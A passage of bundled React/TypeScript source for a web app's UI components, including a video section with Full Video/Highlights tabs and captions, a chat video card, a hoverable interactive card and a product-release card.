bites/teasers array. */\n  videoBites?: VideoTeaser[];\n  /** Title for the video bites section. Default: 'Key Moments' (unified). */\n  bitesTitle?: string;\n  /** Whether to filter bites to published only. */\n  filterPublishedBites?: boolean;\n  /** Section-level profile shown in the strip's hover overlay. */\n  bitesProfile?: VideoBiteStripProfile | null;\n  /** Navigation target for the strip's overlay footer (the origin entity). */\n  bitesHref?: string;\n  /** Custom node between the bites heading and the strip (description slot). */\n  bitesHeaderSlot?: React.ReactNode;\n  /** Navigation fallback for bites without their own href/onNavigate. */\n  onBiteNavigate?: (bite: VideoBiteStripItem, index: number) => void;\n  /** Marquee auto-scroll for the bites strip. Default true. */\n  bitesAutoScroll?: boolean;\n  /** Markdown renderer component injected by the host app. */\n  MarkdownRenderer?: ComponentType<MarkdownRendererProps>;\n  /**\n   * Raw SRT content. Deprecated — pass `captionsUrl` instead.\n   * Forwarded to `<Video>` for the dev-only warning.\n   */\n  srtContent?: string | null;\n  /** HTTPS URL to a VTT captions file (rendered as native `<track>`). */\n  captionsUrl?: string | null;\n  /**\n   * HTTPS URL to the HIGHLIGHT video's VTT captions file — same `<track>`\n   * mechanism as `captionsUrl`, applied to the Highlights tab / highlight-only\n   * player (`getCaptionsUrl(type, id, highlightSrt, { variant: 'highlight' })`).\n   */\n  highlightCaptionsUrl?: string | null;\n  /**\n   * Entity identity for caption derivation — the alternative to the explicit\n   * URL props above for hosts that don't hold the entity's SRT columns (chat\n   * cards). The section derives both `<track>` URLs itself from the runtime's\n   * captions base (`getEntityCaptionUrlsById`); explicit `captionsUrl` /\n   * `highlightCaptionsUrl` win when also provided.\n   */\n  captionsEntity?: { type: string; id: string | number } | null;\n  /** LCP hint — when true, the full-video tab's poster eager-loads. */\n  priority?: boolean;\n}\n\nexport function EntityVideoSection({\n  mainVideoUrl,\n  youtubeUrl,\n  highlightVideoUrl,\n  highlightVideoThumbnail,\n  mainVideoPoster,\n  title = 'Video',\n  videoSummary,\n  videoBites,\n  bitesTitle = DEFAULT_VIDEO_BITES_TITLE,\n  filterPublishedBites = true,\n  bitesProfile = null,\n  bitesHref,\n  bitesHeaderSlot,\n  onBiteNavigate,\n  bitesAutoScroll = true,\n  MarkdownRenderer,\n  srtContent,\n  captionsUrl: captionsUrlProp,\n  highlightCaptionsUrl: highlightCaptionsUrlProp,\n  captionsEntity,\n  priority = false,\n}: EntityVideoSectionProps) {\n  const captions = useCaptions();\n  const hasFullVideo = !!(youtubeUrl || mainVideoUrl);\n  const hasHighlight = !!highlightVideoUrl;\n  const hasVideo = hasFullVideo || hasHighlight;\n\n  // Caption resolution: explicit URL props win (detail pages gate on their\n  // entity's SRT columns); otherwise derive from `captionsEntity` identity —\n  // the zero-knowledge path for chat cards.\n  const derivedCaptions = captionsEntity\n    ? captions.forEntityId(captionsEntity.type, captionsEntity.id)\n    : null;\n  const captionsUrl = captionsUrlProp ?? derivedCaptions?.captionsUrl;\n  const highlightCaptionsUrl = highlightCaptionsUrlProp ?? derivedCaptions?.highlightCaptionsUrl;\n\n  if (!hasVideo && !videoSummary && (!videoBites || videoBites.length === 0)) {\n    return null;\n  }\n\n  // YouTube wins when both URLs are present.\n  const fullVideoUrl = youtubeUrl || mainVideoUrl || null;\n  const fullVideoKind: 'youtube' | 'auto' = youtubeUrl ? 'youtube' : 'auto';\n\n  return (\n    <>\n      {hasVideo &&\n        (hasFullVideo && hasHighlight ? (\n          <Tabs defaultValue=\"full-video\" className=\"w-full\">\n            <TabsList className=\"inline-flex justify-start rounded-none bg-transparent h-auto p-0 gap-0\">\n              <TabsTrigger\n                value=\"full-video\"\n                className=\"rounded-none border-b-2 border-transparent data-[state=active]:border-ods-accent data-[state=active]:bg-transparent data-[state=active]:shadow-none px-4 md:px-6 py-3 text-ods-text-secondary data-[state=active]:text-ods-text-primary\"\n              >\n                Full Video\n              </TabsTrigger>\n              <TabsTrigger\n                value=\"highlights\"\n                className=\"rounded-none border-b-2 border-transparent data-[state=active]:border-ods-accent data-[state=active]:bg-transparent data-[state=active]:shadow-none px-4 md:px-6 py-3 text-ods-text-secondary data-[state=active]:text-ods-text-primary\"\n              >\n                Highlights\n              </TabsTrigger>\n            </TabsList>\n\n            <TabsContent value=\"full-video\" className=\"mt-4\">\n              <Video\n                kind={fullVideoKind}\n                url={fullVideoUrl!}\n                poster={mainVideoPoster}\n                title={title}\n                srtContent={srtContent}\n                captionsUrl={captionsUrl}\n                layout=\"centered\"\n                priority={priority}\n              />\n            </TabsContent>\n\n            <TabsContent value=\"highlights\" className=\"mt-4\">\n              <Video\n                url={highlightVideoUrl!}\n                poster={highlightVideoThumbnail}\n                captionsUrl={highlightCaptionsUrl}\n                layout=\"centered\"\n              />\n            </TabsContent>\n          </Tabs>\n        ) : hasFullVideo ? (\n          <Video\n            kind={fullVideoKind}\n            url={fullVideoUrl!}\n            poster={mainVideoPoster}\n            title={title}\n            srtContent={srtContent}\n            captionsUrl={captionsUrl}\n            layout=\"centered\"\n            priority={priority}\n          />\n        ) : (\n          <Video\n            url={highlightVideoUrl!}\n            poster={highlightVideoThumbnail}\n            captionsUrl={highlightCaptionsUrl}\n            layout=\"centered\"\n            priority={priority}\n          />\n        ))}\n\n      {videoSummary && MarkdownRenderer && (\n        <div className=\"flex flex-col gap-6 w-full min-w-0\">\n          <h2 className={`${SECTION_HEADING_CLASS} break-words`}>\n            Summary\n          </h2>\n          <div className=\"text-h4 text-ods-text-primary break-words overflow-hidden\">\n            <MarkdownRenderer content={videoSummary} />\n          </div>\n        </div>\n      )}\n\n      {videoBites && videoBites.length > 0 && (\n        <VideoBitesStrip\n          bites={videoBites}\n          title={bitesTitle}\n          filterPublished={filterPublishedBites}\n          profile={bitesProfile}\n          href={bitesHref}\n          headerSlot={bitesHeaderSlot}\n          onBiteNavigate={onBiteNavigate}\n          autoScroll={bitesAutoScroll}\n        />\n      )}\n    </>\n  );\n}\n","\"use client\"\n\nimport React from 'react'\nimport { EntityVideoSection } from '../../features/entity-video-section'\nimport { captionsEntityTypeForDocType } from '../../features/captions-url'\nimport type { ChatRef } from '../chat-ref.types'\n\n/**\n * <ChatVideoEntityCard> — chat-side inline render for video-bearing\n * entity refs. Reuses `<EntityVideoSection>` (the SAME component the\n * detail pages use for customer interviews, investor updates, product\n * releases, and case studies) so the chat surface matches the public\n * pages 1:1: Full Video / Highlights tabs, YouTube facade vs Mux HLS\n * routing, native fullscreen, captions, posters.\n *\n * Stripped-chrome rendering: just the player + tabs, no title, no\n * date, no Ask button. The inline pill at the marker position (in the\n * paragraph above) already shows the title, date, and Ask affordance\n * via the host's existing compact entity card. Duplicating those\n * here doubles the UX and steals vertical space inside the chat\n * panel. v6.1 §B.2.7.\n *\n * Activation contract: the host's dispatch routes here only when\n * `chatRef.metadata.videoUrl`, `youtubeUrl`, or `highlightVideoUrl`\n * is a non-empty string. URL safety is handled inside `<Video>` (the\n * single source of truth for player URL routing) — no duplicate\n * sanitization at the card level.\n */\nexport interface ChatVideoEntityCardProps {\n  /** Required. `metadata.videoUrl` / `youtubeUrl` / `highlightVideoUrl`\n   *  control routing inside `<EntityVideoSection>`. */\n  chatRef: ChatRef\n}\n\nfunction readString(value: unknown): string | null {\n  return typeof value === 'string' && value.length > 0 ? value : null\n}\n\nexport function ChatVideoEntityCard({\n  chatRef,\n}: ChatVideoEntityCardProps): React.ReactElement {\n  const m = chatRef.metadata ?? {}\n  const videoUrl = readString(m.videoUrl)\n  const youtubeUrl = readString(m.youtubeUrl)\n  const poster = readString(m.videoPoster)\n  const highlightUrl = readString(m.highlightVideoUrl)\n  const highlightPoster = readString(m.highlightVideoPoster)\n\n  // No wrapping Card / header — the player is the whole card. The\n  // 16:9 aspect / rounded-corners / border come from <Video>'s own\n  // `layout=\"centered\"` styling inside <EntityVideoSection>.\n  return (\n    <EntityVideoSection\n      mainVideoUrl={videoUrl}\n      youtubeUrl={youtubeUrl}\n      highlightVideoUrl={highlightUrl}\n      highlightVideoThumbnail={highlightPoster}\n      mainVideoPoster={poster}\n      // Captions derive INSIDE the section from entity identity via the\n      // runtime's captions base — no caption data on the wire at all.\n      captionsEntity={{ type: captionsEntityTypeForDocType(chatRef.type), id: chatRef.id }}\n      title={chatRef.title}\n      // Intentionally omitted for chat density:\n      //   videoSummary    — assistant text above already covers it.\n      //   MarkdownRenderer — unused when videoSummary is omitted.\n      //   videoBites      — separate ask; chat doesn't surface bites\n      //                     today (planned follow-up).\n    />\n  )\n}\n","\"use client\"\n\nimport React from \"react\"\nimport { cn } from \"../../utils/cn\"\n\nexport interface InteractiveCardProps extends React.HTMLAttributes<HTMLDivElement> {\n  /**\n   * Children elements to render inside the card\n   */\n  children: React.ReactNode\n\n  /**\n   * Click handler for the card\n   */\n  onClick?: (e: React.MouseEvent<HTMLDivElement>) => void\n\n  /**\n   * Enable clickable/hover behavior\n   * Default: true if onClick is provided, false otherwise\n   */\n  clickable?: boolean\n\n  /**\n   * Custom hover accent color (default: ods-accent)\n   * When provided, border and h3 titles will use this color on hover\n   */\n  hoverAccentColor?: string\n\n  /**\n   * Additional CSS classes\n   */\n  className?: string\n}\n\n/**\n * InteractiveCard - Base component for clickable cards with hover effects\n *\n * Provides the same hover pattern as VendorCard and OrganizationCard:\n * - Border changes to accent color on hover\n * - H3 titles change to accent color on hover\n * - Smooth transitions\n * - Cursor pointer\n * - Group class for child hover states\n *\n * Usage Examples:\n *\n * ```typescript\n * // Basic clickable card\n * <InteractiveCard onClick={() => navigate('/details')}>\n *   <h3>Title</h3>\n *   <p>Content...</p>\n * </InteractiveCard>\n *\n * // With custom accent color\n * <InteractiveCard\n *   onClick={handleClick}\n *   hoverAccentColor=\"#00D4AA\"\n * >\n *   <h3>Title changes to cyan on hover</h3>\n * </InteractiveCard>\n *\n * // Non-clickable card (no hover)\n * <InteractiveCard clickable={false}>\n *   <h3>Static content</h3>\n * </InteractiveCard>\n * ```\n */\nexport const InteractiveCard = React.forwardRef<HTMLDivElement, InteractiveCardProps>(\n  (\n    {\n      children,\n      onClick,\n      clickable,\n      hoverAccentColor,\n      className,\n      ...props\n    },\n    ref\n  ) => {\n    // Auto-enable clickable if onClick is provided\n    const isClickable = clickable !== undefined ? clickable : !!onClick\n\n    const handleClick = (e: React.MouseEvent<HTMLDivElement>) => {\n      if (isClickable && onClick) {\n        onClick(e)\n      }\n    }\n\n    const handleMouseEnter = (e: React.MouseEvent<HTMLDivElement>) => {\n      if (hoverAccentColor && isClickable) {\n        e.currentTarget.style.borderColor = hoverAccentColor\n        // Change h3 titles\n        const title = e.currentTarget.querySelector('h3')\n        if (title) {\n          (title as HTMLElement).style.color = hoverAccentColor\n        }\n        // Change primary text elements (large values, main content)\n        // Exclude button text from color change\n        const primaryTexts = e.currentTarget.querySelectorAll('.text-ods-text-primary:not(button):not(button *)')\n        primaryTexts.forEach((el) => {\n          (el as HTMLElement).style.color = hoverAccentColor\n        })\n      }\n    }\n\n    const handleMouseLeave = (e: React.MouseEvent<HTMLDivElement>) => {\n      if (hoverAccentColor && isClickable) {\n        e.currentTarget.style.borderColor = ''\n        // Reset h3 titles\n        const title = e.currentTarget.querySelector('h3')\n        if (title) {\n          (title as HTMLElement).style.color = ''\n        }\n        // Reset primary text elements\n        const primaryTexts = e.currentTarget.querySelectorAll('.text-ods-text-primary:not(button):not(button *)')\n        primaryTexts.forEach((el) => {\n          (el as HTMLElement).style.color = ''\n        })\n      }\n    }\n\n    return (\n      <div\n        ref={ref}\n        className={cn(\n          \"transition-all\",\n          isClickable && [\n            \"cursor-pointer\",\n            \"group\",\n            !hoverAccentColor && [\n              \"hover:border-ods-accent\",\n              // H3 titles turn accent on hover\n              \"[&:hover_h3]:text-ods-accent\",\n              // Primary text turns accent on hover (but not inside buttons)\n              \"[&:hover_.text-ods-text-primary:not(button):not(button_*)]:text-ods-accent\"\n            ]\n          ],\n          className\n        )}\n        onClick={handleClick}\n        onMouseEnter={handleMouseEnter}\n        onMouseLeave={handleMouseLeave}\n        style={hoverAccentColor ? {\n          ['--hover-accent' as any]: hoverAccentColor\n        } : undefined}\n        {...props}\n      >\n        {children}\n      </div>\n    )\n  }\n)\n\nInteractiveCard.displayName = \"InteractiveCard\"\n","'use client'\n\nimport React from 'react'\nimport Image from '../../../embed-shims/next-image'\nimport { InteractiveCard } from '../../ui/interactive-card'\nimport { StatusBadge } from '../../ui/status-badge'\nimport { SquareAvatar } from '../../ui/square-avatar'\nimport {\n  AlertTriangle,\n  Eye,\n  Package,\n  Play,\n  Sparkles,\n  TrendingUp,\n  Wrench,\n} from 'lucide-react'\nimport { cn } from '../../../utils/cn'\n\n/**\n * Card density. Two variants, both actively used across openframe + flamingo\n * apps and the related-content rail:\n *\n * - `lg`: rich large card used everywhere a product release is the focal\n *   item — openframe's `/releases` catalog row, flamingo's DevCenter tab,\n *   investor-update related-content section. Three zones — hero (16:9 cover\n *   + version pill + title + summary), changelog stats strip (icons +\n *   counts), metadata grid footer (Type · Status · Released · Author). The\n *   grid mirrors the hub's `<EntityAuthorCard>` byte-for-byte (see lg\n *   branch comment).\n *\n * - `sm`: compact horizontal layout (~80px tall) for inline rendering inside\n *   chat messages and other tight surfaces. Drops `<h3>` (block-only,\n *   illegal inside markdown `<p>`) for `<span>` text, swaps the outer\n *   `InteractiveCard` for a `<span>`-anchored link, and collapses to:\n *   56px icon + 1-line title + 1-line meta (version · date).\n *\n * A previous `default` variant (vertical title+description / version+date\n * column) was deleted in the 2026-05 DRY pass — it had a single consumer\n * (the hub's RelatedContentSection) that has since moved to `lg`.\n */\nexport type ProductReleaseCardSize = 'lg' | 'sm'\n\n/**\n * Minimal structural `<a>` prop bundle the consumer composes (typically\n * via the hub's `useNavLink` hook — single source of truth for click\n * routing). Kept structural here so the OSS lib has zero hub coupling;\n * the consumer's `NavLinkProps` is type-compatible by shape.\n *\n * When supplied, the outer element renders as `<a {...anchorProps}>` so\n * the SAME routing decision (modifier-click → browser default, cross-\n * origin → new tab, same-origin → `router.push`) runs identically to\n * every other entity card. When absent, the legacy `onClick` branch is\n * used (back-compat for the public `/releases` page).\n */\nexport interface ProductReleaseCardAnchorProps {\n  href: string\n  target?: '_blank'\n  rel?: 'noopener noreferrer'\n  onClick?: (e: React.MouseEvent<HTMLAnchorElement>) => void\n}\n\nexport interface ProductReleaseCardProps {\n  /** Release title */\n  title: string\n  /** Release summary/description */\n  summary?: string | null\n  /** Version string (e.g., \"1.2.0\") */\n  version: string\n  /** Formatted date string for display */\n  formattedDate: string\n  /**\n   * Legacy click handler — kept for back-compat with public-page callers\n   * (e.g. `/releases` tab) that route via `router.push()` directly. When\n   * `anchorProps` is also supplied, `anchorProps` wins and this is\n   * ignored.\n   */\n  onClick?: () => void\n  /**\n   * `<a>` prop bundle from the consumer's `useNavLink` (or equivalent).\n   * When provided, the card's outer element renders as a real anchor so\n   * routing (cross-origin → new tab, same-origin → soft RSC nav,\n   * modifier-click → browser default) is owned by the hook — the card\n   * writes NO click logic of its own. This is the path every other\n   * entity card uses; `onClick` is only kept for the one legacy caller.\n   */\n  anchorProps?: ProductReleaseCardAnchorProps\n  /** Additional CSS classes */\n  className?: string\n  /** Card density. Defaults to `'lg'` (the canonical large card). */\n  size?: ProductReleaseCardSize\n\n  // ─── Catalog-only props (ignored by `default` / `sm` branches) ─────────\n  /** Cover image URL. Falls back to a neutral `Package`-icon placeholder. */\n  coverImage?: string | null\n  /** Drives the Play overlay on the cover. Caller sets `true` when the cover\n   *  came from a `*_video_thumbnail` field. */\n  hasVideoCover?: boolean\n  /** Release type for the metadata grid's first cell. */\n  releaseType?: 'major' | 'minor' | 'patch' | 'beta' | 'alpha'\n  /** Release status for the metadata grid's second cell. */\n  releaseStatus?: 'alpha' | 'beta' | 'stable' | 'deprecated'\n  /** Pre-computed `StatusBadge` colorScheme for the release-type chip. The\n   *  hub consumer maps `release_type → colorScheme` via its local helper so\n   *  the OSS card stays mapping-agnostic. */\n  releaseTypeBadgeColor?: 'error' | 'cyan' | 'success' | 'warning'\n  /** View count for the optional microline below the metadata grid. Hidden\n   *  when zero or undefined. */\n  viewCount?: number\n  /** Hydrated author (from the hub DAL's `hydrateAuthor`). When present,\n   *  renders as the last cell of the metadata grid. */\n  author?: {\n    full_name: string\n    avatar_url: string | null\n    job_title: string | null\n  }\n  /** Per-category counts for the changelog stats strip. The whole strip\n   *  is hidden when total === 0. */\n  changelogCounts?: {\n    features: number\n    fixes: number\n    improvements: number\n    breaking: number\n  }\n}\n\nexport function ProductReleaseCard({\n  title,\n  summary,\n  version,\n  formattedDate,\n  onClick,\n  anchorProps,\n  className,\n  size = 'lg',\n  coverImage,\n  hasVideoCover,\n  releaseType,\n  releaseStatus,\n  releaseTypeBadgeColor,\n  viewCount,\n  author,\n  changelogCounts,\n}: ProductReleaseCardProps) {\n  // ----- LG branch (rich /releases catalog row + related-content rail) -----\n  // The card has THREE zones:\n  //   1. Hero — cover image LEFT, version pill + title + summary RIGHT.\n  //   2. Changelog strip — icons + counts (hidden when total === 0).\n  //   3. Metadata grid footer — bordered grid of [Type | Status | Released\n  //      | Author] cells. This grid INLINES the hub's <EntityAuthorCard>\n  //      visual treatment by hand (SAME bordered grid with value-cell +\n  //      author-cell shapes, byte-for-byte). The OSS lib has zero hub\n  //      coupling by design; we cannot import the hub's\n  //      <EntityAuthorCard>. This is the SAME inline-duplication policy\n  //      documented for the COMPACT_CARD_* string set in the chat-card\n  //      file. If the hub's <EntityAuthorCard> visual changes (cell\n  //      padding, divider styles, avatar size, etc.), update this branch\n  //      in lockstep.\n  if (size === 'lg') {\n    const totalChangelog =\n      (changelogCounts?.features ?? 0) +\n      (changelogCounts?.fixes ?? 0) +\n      (changelogCounts?.improvements ?? 0) +\n      (changelogCounts?.breaking ?? 0)\n\n    // Build the metadata-grid cell array — mirrors the hub's\n    // EntityAuthorCard composition. ALWAYS render all 3 value cells\n    // (Type / Status / Released) — missing values render as a plain\n    // em-dash + label so the grid keeps a fixed 4-cell shape (matching\n    // the skeleton). The Author cell is also always rendered below\n    // (effectiveAuthor falls back to a placeholder shape). This is\n    // load-to-resolve baseline parity: any conditional cell would\n    // introduce a reflow when the skeleton resolves.\n    //\n    // Plan note: em-dash placeholders read as plain text (NOT a colored\n    // StatusBadge for the Type cell) so empty badges don't look broken\n    // next to populated badges.\n    type ValueCell = {\n      value: string\n      label: string\n      uppercase: boolean\n      colorScheme?: 'error' | 'cyan' | 'success' | 'warning'\n    }\n    const valueCells: ValueCell[] = [\n      releaseType && releaseTypeBadgeColor\n        ? {\n            value: releaseType.toUpperCase(),\n            label: 'Type',\n            uppercase: true,\n            colorScheme: releaseTypeBadgeColor,\n          }\n        : { value: '—', label: 'Type', uppercase: false },\n      releaseStatus\n        ? {\n            value: releaseStatus.toUpperCase(),\n            label: 'Status',\n            uppercase: true,\n          }\n        : { value: '—', label: 'Status', uppercase: false },\n      formattedDate\n        ? {\n            value: formattedDate,\n            label: 'Released',\n            uppercase: false,\n          }\n        : { value: '—', label: 'Released', uppercase: false },\n    ]\n    // EMPTY_AUTHOR_PLACEHOLDER shape — mirrors the hub's\n    // EMPTY_AUTHOR_PLACEHOLDER constant exported from\n    // components/shared/entity-author-card.tsx (hub can't be imported\n    // here; the two are kept in lockstep per the inline-duplication\n    // policy documented in the catalog branch comment above).\n    const effectiveAuthor = author?.full_name\n      ? author\n      : { full_name: '—', avatar_url: null, job_title: 'Unknown' }\n    // Fixed 4-cell grid (Type / Status / Released / Author) so the\n    // skeleton's shape matches the loaded card exactly. The earlier\n    // dynamic `gridColsClass` ternary collapsed missing cells and\n    // caused 28-56px reflow on resolve.\n    const gridColsClass = 'md:grid-cols-4'\n    const dividerClass = 'border-b md:border-b-0 md:border-r border-ods-border'\n\n    const frameClass = cn(\n      'group bg-ods-card border border-ods-border rounded-lg overflow-hidden',\n      'flex flex-col p-6 gap-4',\n      'transition-all duration-300 ease-out transform hover:translate-y-[-2px]',\n      'hover:border-ods-accent hover:shadow-lg hover:shadow-ods-accent/[0.08]',\n      'focus:outline-none focus-visible:ring-2 focus-visible:ring-ods-accent focus-visible:ring-offset-2 focus-visible:ring-offset-ods-bg',\n      'no-underline',\n      className,\n    )\n\n    const innerLayout = (\n      <>\n        {/* HERO ZONE — cover LEFT + version pill + title + summary RIGHT */}\n        <div className=\"flex flex-col md:flex-row gap-4 md:gap-6\">\n          <div className=\"w-full md:w-[256px] flex-shrink-0\">\n            <div className=\"relative rounded-lg overflow-hidden w-full aspect-[1200/630] bg-ods-bg\">\n              {coverImage ? (\n                <Image\n                  src={coverImage}\n                  alt={title}\n                  fill\n                  sizes=\"(max-width: 768px) 100vw, 256px\"\n                  className=\"object-cover\"\n                  unoptimized\n                />\n              ) : (\n                <div className=\"absolute inset-0 flex items-center justify-center text-ods-text-secondary\">\n                  <Package className=\"w-8 h-8\" />\n                </div>\n              )}\n              {hasVideoCover && coverImage && (\n                <span className=\"absolute inset-0 flex items-center justify-center bg-black/30\">\n                  <Play className=\"w-10 h-10 text-ods-text-on-dark\" fill=\"white\" />\n                </span>\n              )}\n            </div>\n          </div>\n          <div className=\"flex-1 min-w-0 flex flex-col\">\n            <div className=\"flex items-center gap-3 mb-3\">\n              <span className=\"text-code font-semibold text-ods-text-primary truncate\">\n                v{version}\n              </span>\n            </div>\n            {/* Title — reserve a fixed 2-line height so cards with\n                1-line titles don't shrink and the catalog skeleton-to-\n                content transition is shift-free. Mirrors the\n                onboarding-guide catalog card. */}\n            <div className=\"min-h-[60px] md:min-h-[72px] flex items-start mb-3\">\n              <h3 className=\"font-['Azeret_Mono'] font-semibold text-xl md:text-2xl text-ods-text-primary leading-tight line-clamp-2\">\n                {title}\n              </h3>\n            </div>\n            {/* Summary — fixed 3-line height. `line-clamp-3` caps long\n                summaries at 3 lines; `min-h` reserves the same vertical\n                space when content is shorter, so the catalog grid stays\n                row-consistent regardless of per-card content length.\n                Heights derived from text-sm md:text-base × leading-relaxed\n                (1.625): 14×1.625×3 ≈ 68 px mobile, 16×1.625×3 ≈ 78 px desktop. */}\n            <div className=\"min-h-[68px] md:min-h-[78px]\">\n              <p className=\"font-['DM_Sans'] text-sm md:text-base text-ods-text-secondary leading-relaxed line-clamp-3\">\n                {summary ?? ''}\n              </p>\n            </div>\n          </div>\n        </div>\n\n        {/* CHANGELOG STRIP — ALWAYS rendered so the skeleton's\n            always-on changelog placeholder matches the loaded shape\n            (zero reflow on resolve). When `totalChangelog === 0`, an\n            empty-state line takes the same vertical space as the\n            populated row. */}\n        <div className=\"border-t border-ods-border pt-3 flex flex-wrap items-center gap-x-4 gap-y-1.5 text-h6 text-ods-text-secondary\">\n          {totalChangelog > 0 && changelogCounts ? (\n            <>\n              {changelogCounts.features > 0 && (\n                <span className=\"inline-flex items-center gap-1.5\">\n                  <Sparkles className=\"w-3.5 h-3.5\" />\n                  {changelogCounts.features} {changelogCounts.features === 1 ? 'feature' : 'features'}\n                </span>\n              )}\n              {changelogCounts.fixes > 0 && (\n                <span className=\"inline-flex items-center gap-1.5\">\n                  <Wrench className=\"w-3.5 h-3.5\" />\n                  {changelogCounts.fixes} {changelogCounts.fixes === 1 ? 'fix' : 'fixes'}\n                </span>\n              )}\n              {changelogCounts.improvements > 0 && (\n                <span className=\"inline-flex items-center gap-1.5\">\n                  <TrendingUp className=\"w-3.5 h-3.5\" />\n                  {changelogCounts.improvements} {changelogCounts.improvements === 1 ? 'improvement' : 'improvements'}\n                </span>\n              )}\n              {changelogCounts.breaking > 0 && (\n                <span className=\"inline-flex items-center gap-1.5 text-ods-warning\">\n                  <AlertTriangle className=\"w-3.5 h-3.5\" />\n                  {changelogCounts.breaking} breaking\n                </span>\n              )}\n            </>\n          ) : (\n            <span className=\"text-ods-text-secondary\">No changelog entries yet</span>\n          )}\n        </div>\n\n        {/* METADATA GRID FOOTER — fixed 4-cell shape (Type / Status /\n            Released / Author) so the skeleton mirrors the loaded card\n            exactly. Empty value cells render em-dash + label (plain\n            text, no colored badge — em-dash badges read as broken next\n            to populated ones); the Author cell falls back to the\n            EMPTY_AUTHOR_PLACEHOLDER shape declared above. */}\n        <div\n          className={cn(\n            'grid grid-cols-1',\n            gridColsClass,\n            'border border-ods-border rounded-md overflow-hidden w-full',\n          )}\n        >\n          {valueCells.map((cell, i) => (\n            <div\n              key={`${cell.label}-${i}`}\n              className={cn('bg-ods-card p-4 flex flex-col gap-3', dividerClass)}\n            >\n              <div className=\"flex flex-col gap-0\">\n                {cell.colorScheme ? (\n                  <StatusBadge\n                    text={cell.value}\n                    variant=\"card\"\n                    colorScheme={cell.colorScheme}\n                    singleLine\n                    className=\"self-start\"\n                  />\n                ) : (\n                  <p\n                    className={cn(\n                      'text-h4',\n                      // Em-dash placeholder reads as secondary text;\n                      // populated values stay primary.\n                      cell.value === '—' ? 'text-ods-text-secondary' : 'text-ods-text-primary',\n                    )}\n                  >\n                    {cell.uppercase ? cell.value.toLocaleUpperCase() : cell.value}\n                  </p>\n                )}\n                <p className=\"text-h6 text-ods-text-secondary\">\n                  {cell.label}\n                </p>\n              </div>\n            </div>\n          ))}\n          <div className=\"bg-ods-card p-4 flex items-center gap-3\">\n            <SquareAvatar\n              src={effectiveAuthor.avatar_url ?? undefined}\n              alt={effectiveAuthor.full_name}\n              fallback={effectiveAuthor.full_name.charAt(0).toUpperCase()}\n              size=\"md\"\n              variant=\"round\"\n            />\n            <div className=\"flex flex-col gap-0 flex-1 min-w-0\">\n              <p className=\"text-h3 tracking-[-0.36px] text-ods-text-primary truncate\">\n                {effectiveAuthor.full_name}\n              </p>\n              <p className=\"text-h6 text-ods-text-secondary\">\n                {effectiveAuthor.job_title || 'Author'}\n              </p>\n            </div>\n          </div>\n        </div>\n\n        {typeof viewCount === 'number' && viewCount > 0 && (\n          <div className=\"flex items-center gap-1.5 text-h6 text-ods-text-secondary\">\n            <Eye className=\"w-3.5 h-3.5\" />\n            <span>{viewCount.toLocaleString()} views</span>\n          </div>\n        )}\n      </>\n    )\n\n    // Outer-element three-branch decision tree, matching the existing\n    // `default` branch precedence at lines ~200-241. PRECEDENCE:\n    // anchorProps WINS over onClick.\n    if (anchorProps) {\n      return (\n        <a {...anchorProps} className={frameClass} aria-label={`Open ${title}`}>\n          {innerLayout}\n        </a>\n      )\n    }\n    if (onClick) {\n      return (\n        <InteractiveCard clickable onClick={onClick} className={frameClass}>\n          {innerLayout}\n        </InteractiveCard>\n      )\n    }\n    // Non-interactive fallback — strip the hover lift / accent-border so\n    // the cursor doesn't lie about clickability.\n    return (\n      <div\n        className={cn(\n          frameClass\n            .replace('hover:border-ods-accent', '')\n            .replace('hover:translate-y-[-2px]', ''),\n        )}\n      >\n        {innerLayout}\n      </div>\n    )\n  }\n\n  // ----- COMPACT branch (chat / tight surfaces) ------------------------------\n  // Outer must be a phrasing-content element (`<a>` or `<span>`) — block\n  // elements like `<div>`/`<h3>` are illegal inside markdown `<p>`, so we\n  // cannot reuse `InteractiveCard` (a `<div>`).\n  //\n  // - When `anchorProps` is set, render as a real `<a>` so the consumer's\n  //   click hook (`useNavLink`) owns routing identically to every other\n  //   entity card — cross-origin → new tab, same-origin → soft RSC nav.\n  // - Else fall back to legacy `<span role=\"button\">` behavior driven by\n  //   `onClick` (kept for the public `/releases` page caller).\n  // - When neither is set, render a static non-interactive span.\n  //\n  // Inner layout mirrors BlogCard/CaseStudyCard compact: 56px square slot +\n  // primary text + 1-line meta + optional summary clamp.\n  if (size === 'sm') {\n    const handleKey = (e: React.KeyboardEvent<HTMLSpanElement>) => {\n      if (!onClick) return\n      if (e.key === 'Enter' || e.key === ' ') {\n        e.preventDefault()\n        onClick()\n      }\n    }\n    const isInteractive = !!anchorProps || !!onClick\n    const outerClassName = cn(\n      // The base frame (`my-1.5 flex … no-underline`) mirrors the\n      // hub's `COMPACT_CARD_OUTER` in `components/shared/compact-\n      // card/compact-card-classes.ts` byte-for-byte. The OSS lib\n      // can't import from the consumer, so the two strings are\n      // kept identical by hand — if you edit one, edit the other.\n      //\n      // The interactive branch ADDS `cursor-pointer` + a focus-\n      // visible ring. The `<a>` form would normally get focus styling\n      // from the browser, but `no-underline` strips the default\n      // affordance, so explicit ring styles match the `<span role>` form.\n      'my-1.5 flex items-start gap-3 w-full p-2',\n      'rounded-lg border border-ods-border bg-ods-card no-underline',\n      isInteractive\n        ? 'transition-colors hover:border-ods-text-secondary/40 cursor-pointer focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ods-accent focus-visible:ring-offset-1 focus-visible:ring-offset-ods-card'\n        : 'cursor-default',\n      className,\n    )\n    const innerChildren = (\n      <>\n        {/* 56×56 cover slot. Mirrors BlogCard / ProgramCard / OnboardingGuide\n            sm slots — when `coverImage` is set, render the actual image\n            (object-contain to keep landscape thumbs visible); fall back to\n            the `Package` icon when no cover is provided. Play overlay\n            fires only when `hasVideoCover` is true AND a cover image was\n            actually supplied (matches the catalog variant's overlay rule). */}\n        <span className=\"relative flex h-14 w-14 aspect-square shrink-0 self-start items-center justify-center overflow-hidden rounded-md bg-ods-bg text-ods-accent\">\n          {coverImage ? (\n            <Image\n              src={coverImage}\n              alt={title}\n              fill\n              sizes=\"56px\"\n              className=\"object-contain\"\n              unoptimized\n            />\n          ) : (\n            <Package className=\"h-5 w-5\" />\n          )}\n          {hasVideoCover && coverImage && (\n            <span className=\"absolute inset-0 flex items-center justify-center bg-black/30\">\n              <Play className=\"h-4 w-4 text-ods-text-on-dark\" fill=\"white\" />\n            </span>\n          )}\n        </span>\n        {/* Text column structure must mirror the hub's\n            `COMPACT_CARD_TEXT_COL` + `COMPACT_CARD_TITLE_ROW` +\n            `COMPACT_CARD_META_ROW_BOX` byte-for-byte. The OSS lib can't\n            import from the consumer, so the strings are duplicated by\n            